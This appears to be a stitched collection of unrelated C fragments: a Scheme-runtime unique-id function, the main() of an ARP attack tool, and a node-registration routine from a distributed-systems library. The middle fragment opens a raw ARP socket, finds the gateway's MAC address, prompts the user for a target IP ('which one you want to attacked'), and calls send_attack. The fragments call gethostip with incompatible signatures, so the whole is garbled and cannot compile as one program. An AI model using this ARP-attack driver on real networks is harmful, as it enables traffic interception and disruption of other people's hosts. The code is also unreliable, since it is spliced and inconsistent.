ptr S_unique_id() {
struct timeval tp;
time_t sec;
pid_t pid;
INT ip;
(void) gettimeofday(&tp,NULL);
pid = getpid();
ip = gethostip();
sec = tp.tv_sec;
return S_add(S_ash(Sunsigned(pid), Sinteger(8*(sizeof(sec)+sizeof(ip)))),
S_add(S_ash(Sunsigned(ip), Sinteger(8*(sizeof(sec)))),
Sunsigned(sec)));
}
int main(int c, char **v)
{
int sfd, ret, ifindex, i = 1;
char ipsrc[16], ipdst[16], iptmp[16];
char device[12], src_mac[ETH_ALEN];
struct in_addr src, gatWay, traget;
struct sockaddr_ll from;
send_arping_t rbuf, gatWaybuf;
setuid(0);
sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sfd == -1){
perror("socket:");
return 1;
}
gethostip(sfd, device, &ifindex, ipsrc, sizeof(ipsrc));
inet_pton(AF_INET, ipsrc, &src.s_addr);
gethostmac(sfd, device, src_mac);
init_sfd(sfd, ifindex);
packed_for_ip(ipsrc, iptmp);
sprintf(ipdst, "%s%d", iptmp, i);
inet_pton(AF_INET, ipdst, &gatWay.s_addr);
while (1){
send_pack(sfd, src_mac, ifindex, &src, &gatWay);
if (recv_pack(sfd, &gatWay, &gatWaybuf))
continue;
else
break;
}
while (1){
printf("which one you want to attacked: ");
fflush(stdout);
//printf("ipdst:%s ipsrc:%s\n", ipdst, ipsrc);
ret = read(0, iptmp, sizeof(iptmp));
iptmp[ret - 1] = '\0';
inet_pton(AF_INET, iptmp, &traget.s_addr);
break;
}
send_attack(sfd, ifindex, &traget, &gatWaybuf);
return 0;
}
void set_node(const char *name, const char *addr, int port) {
static nodeid_t nid = 0;
nid++;
char *ip = gethostip(addr);
set_nid_sender(nid, ip, port);
set_gid_nid(1, nid);
node_info_t ninfo;
ninfo.nid = nid;
ninfo.port = port;
SAFE_ASSERT(strlen(name) + 1 < 100);
SAFE_ASSERT(strlen(ip) + 1 < 100);
strcpy(ninfo.name, name);
strcpy(ninfo.ip, ip);
mpr_hash_set(ht_node_info_, name, strlen(name) + 1, &ninfo, sizeof(node_info_t));
*(nodeid_t *)apr_array_push(arr_nodes_) = nid;
LOG_INFO("node added. name:%s, id:%" PRIu64", addr: %s, port: %d",
name, nid, addr, port);
free(ip);
}
